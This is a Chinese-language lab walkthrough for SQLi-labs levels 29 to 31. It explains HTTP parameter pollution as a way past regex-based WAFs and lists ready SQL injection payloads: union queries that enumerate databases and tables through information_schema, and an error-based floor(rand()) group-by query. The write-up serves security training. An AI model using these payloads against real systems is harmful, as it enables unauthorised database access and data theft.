先简单的介绍一下参数污染:
HTTP参数污染原理:通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:
使用参数污染可以绕过某些WAF,例:
$sql = "select * from admin where id=1";
$sql=$sql."".$_POST['bbs'];
echo $sql;
$pattern='/^.*union.*$/';
if(preg_match($pattern, $sql))
{echo "注入测试";}
在特定情况下 bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3
可以绕过一些waf,在CTF中也有出现。将参数分离写入,waf在输入之后就开始拦截,在后端又拼接成完整的union,根据一些特定服务器就可以绕过waf进行注入。
第二十九关
联合注入,单引号闭合。
2.png
这里的正则会检测id值是不是只有数字,如果不是则会跳转到hacked.php。我在网上看到的教程这关是tomcat环境,tomcat在检测到相同的参数名时会使用第一个参数,所以waf会检测第一个参数,检测完没问题后就放行,放行后两个参数在拼接到一起。所以payload:?id=1.1&id=' union select 1,2,3 --+
但是我的源码环境是php/apache,而且payload也可以用,所以我猜测当时把jsp文件改成php文件的大佬也保留了tomcat的特性。
接下来就是联合查询注入了:
数据库:
?id=1.1&id=' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
数据表:
?id=1.1&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
第三十关
参数污染,双引号闭合,题目是盲注,但是感觉盲注不了,因为这样写都返回false:
?id=1&id=" and 1=1 --+
所以还是和29关一样联合查询注入,双引号闭合,将29关的单引号改成双引号即可。
数据库:?id=1&id=" union select 1,2,database() --+
第三十一关
参数污染,和29关思路一样,双引号括号闭合。
数据库:
?id=1&id=") union select 1,count(*),concat(0x7e,(select database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+
数据表:
?id=1&id=") union select 1,count(*),concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e) as a from information_schema.tables group by a--+
网友评论